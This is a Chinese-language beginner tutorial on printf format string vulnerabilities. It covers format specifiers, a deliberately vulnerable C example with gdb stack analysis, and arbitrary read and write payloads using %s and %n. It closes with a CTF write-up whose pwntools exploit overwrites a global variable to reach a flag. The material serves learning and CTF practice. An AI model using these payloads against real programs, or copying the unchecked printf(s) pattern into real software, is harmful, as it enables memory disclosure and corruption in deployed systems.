【二进制安全】printf之任意读与写_安全前言

新手入门pwn,对于各位表哥在writeup中写的格式化字符串漏洞不是很理解,查阅网上资料发现大多都是以printf来深入讲解格式化字符串漏洞的原理,故作此文来探讨printf使用不当产生的漏洞,有不正确的地方,望大佬可以指出来。

printf剖析

printf是C语言中的输出函数,包含在头文件stdio.h文件中,功能是按规定格式向输出设备(一般为显示器)输出数据,并返回实际输出的字符数,若出错,则返回负数。printf函数的原型为:

 

# include <stdio.h>int printf(const char *format, ...);

printf的一般格式有:

1) printf("字符串\n");

2) printf("输出控制符",输出参数);

3) printf("输出控制符1 输出控制符2…", 输出参数1, 输出参数2, …);

4) printf("输出控制符 非输出控制符",输出参数);

 

由函数原型我们可以知道printf函数的第一个字符指向一个format字符串(格式化字符串),后面再不定的跟着一些参数。常见的格式符如下:

 

%c:字符%d:十进制整数%x:16进制数据%p:16进制数据,与%x类似,但它输出时会在前面添加一个0x,在32bit下对应4字节,在64bit下对应8字节。%s:字符串,可利用%i$s表示输出偏移i出所指向的字符串。%n:%之前的字符个数。

 

具体实例参见如下:

 

#include <stdio.h>int main(){        int a=1;        printf("c:%c\n",a);        printf("d:%d\n",a);        printf("p:%p\n",a);        printf("x:%x\n",a);        printf("aaaa%n\n",&a); //%n前面有4个字符,因此%将4赋值给了a        printf("%d",a);        return 0;}

 

 

gcc程序编译:

gcc -no-pie -fno-stack-protector -z execstack -g printf_01.c -o 2

 

 

 ./2 运行,输出结果为:

 

c:d:1p:0x1x:1aaaa4

 

printf函数是C语言中少数支持可变参数的库函数。当调用者(用户)调用此函数时,被调用者(后面我们用系统指代被调用者)是无法知道在函数调用前到底有多少参数被压入到栈中的。那么当运行call printf 系统是怎么知道该输出多少个参数呢?

format!系统通过判断传入的format参数以指定参数的数量和类型,来进行函数打印,与后面所带的参数无关。当format字符串中所含有的格式符的数量 > 后面传入参数的数量时,多出来的格式符系统依旧会根据%去栈中寻找相应的参数,因此就会造成内存泄漏形成任意地址的读与写。

 

 

漏洞利用

1、内存地址泄露

下面我们通过一个例子来了解printf任意地址读与写的前因后果!

 

#include <stdio.h>#include <string.h>int main(int argc,char **argv) {  static int b=1;  char s[100];  printf("%p\n",&b);//查看b的地址  //scanf("%s", s);//因为当我们任意地址读时需要利用printf输入地址,而scanf与printf无法一起使用,因而舍弃scanf  strcpy(s,argv[1]);  printf(s);//漏洞点,s为第一个参数  printf("the values of b is %d\n",b);//查看b的值  return 0;}

 

printf(s)为漏洞产生点,s为printf的第一个参数,当我们输入参数s含有格式符,此时格式符>传入参数(参数数为0),系统依旧会根据%去栈中寻找相应的参数。下面我们对上面的文件进行编译运行:

gcc -m32 -fno-stack-protector -no-pie -o test6 test6.c

 

  ./test6运行。当输入含格式符的字符串

"aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" 

时,输出一些类似于地址类的数据,那么这些数据是什么呢?会是泄露出来的内存地址吗?咱调试一下究竟!

【二进制安全】printf之任意读与写_安全_02

gdb调试开始!!!我们可以先用 disass main 对主函数进行反汇编一下,在漏洞点printf(s)的call printf下断点,输入c运行程序。【二进制安全】printf之任意读与写_安全_03

便于查看在printf附近的栈结构,可以发现format字符串所在的地址为0xffffd4dc,printf(s)只有一个参数, 因此format和vararg地址指向的是同一处,此时ESP栈指针指向的是地址0xffffd4c0。

【二进制安全】printf之任意读与写_安全_04

 

 查看$esp向后的栈空间,再次输入c继续运行。观察输出的地址,发现我们输入的格式符("aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" )恰好将printf函数format参数地址所在栈空间(0xffffd4c0)-4后的所有地址输出了,造成了内存地址的泄露。且我们输入的第一个字符串aaaa在栈中输出的对应输出的第7个%08x所输出的地址,即距离aaaa的偏移量为7个地址单元。

【二进制安全】printf之任意读与写_安全_05

 

 

2、内存地址读与写

地址泄露出来了,那么接下来我们该怎么读取呢?  %s !!!%s,以字符串格式输出,当我们输入%i$s 时代表在以字符串格式第 i 个偏移处的内存地址内容,构造任意读输入语句:(PS:%i\$s中反斜线主要是转义)

【二进制安全】printf之任意读与写_安全_06

 

 

 

例如:0x61616161这个地址已经被我们成功的写入到内存(0xffffd4dc)中了,当我们用  "`printf "\xdc\xd4\xff\xff"`.%7\$s"  语句读取内存地址时,将会产生报错,原因是由于该内存地址不可读。

【二进制安全】printf之任意读与写_安全_07

 

读操作进行完毕,写操作还会远吗?

类似于读操作,只需要将%x换成%n即可。%n会将%之前所有变量的个数复制给一个变量。这里当我们输入  "`printf "\x20\xa0\x04\x08"`.%7\$n" 会将%前面有五个字符,因此%7$n会将5复制给第7个偏移量地址(0xffffd4dc)内容所指向的地址(0x0804a020),有点绕,咱简单画个图解析一下吧!

【二进制安全】printf之任意读与写_安全_08

 

 运行结果如下:

【二进制安全】printf之任意读与写_安全_09

 

例子说明

利用printf对地址的任意读与写也正是利用了上面的内存泄漏。下面我们通过对一题的分析来具体解读一下printf对地址的任意读与写吧!(具体的文件参见文末。)

 

先查看一下基本信息:checksec fsb

 

[*] '/home/giantbranch/test_pwn/0838/CGfsb'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)

 

  将文件放入ida中进行查看,伪代码主要部分如下:

 

  puts("please tell me your name:");  read(0, &v4, 0xAu);  puts("leave your message please:");  fgets((char *)&v7, 100, stdin);  printf("hello %s", &v4);  puts("your message is:");  printf((const char *)&v7);  //漏洞点,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面输入的参数  if ( pwnme == 8 )  {    puts("you pwned me, here is your flag:\n");    system("cat flag");  }

通过伪代码我们可以发现当pwnme值为8时,我们便可以成功获得flag!那么接下来,查看pwnme。

 

.bss:0804A068                 public pwnme.bss:0804A068 pwnme           dd ?                    ; DATA XREF: main+105↑r.bss:0804A068 _bss            ends.bss:0804A068

 

可知变量pwnme处于 .bss段(指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域),属于全局变量。

 

分析漏洞点的语句,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面fgets输入的参数,我们可以利用上面printf任意地址读的思路查看读需要的偏移量:(PS:%x是输出16进制数据,08表示宽度,不足8为左边按0补齐)

【二进制安全】printf之任意读与写_安全_10

 

由输出的堆栈信息,可以发现aaaa在的ascii码在第10个位置被输出了。

确定好了任意读的偏移量,下一步,任意地址写!

在上面我们分析变量pwnme时得出地址为0x0804A068,由此我们可以试着构造exp:

 

from pwn import *#p=remote('220.249.52.133','34368')p=process('./CGfsb')pwnme_addr=0x0804a068payload=p32(pwnme_addr)+'aaaa%10$n'p.recvuntil('please tell me your name:\n')p.sendline('aaaaaaa')p.recvuntil('leave your message please:\n')p.sendline(payload)#print p.recv()print p.recv()

 

  结果输出:

【二进制安全】printf之任意读与写_安全_11

 

例子附件:

 

链接: https://pan.baidu.com/s/1Wb3aSjL6J-dXAl9e18lJ6A 提取码: q927

 

参考链接:

 

https://bbs.pediy.com/thread-253638.htm

https://blog.csdn.net/qq_43394612/article/details/84900668

https://www.cnblogs.com/pwn2web/p/12077965.html

https://www.cnblogs.com/ichunqiu/p/9329387.html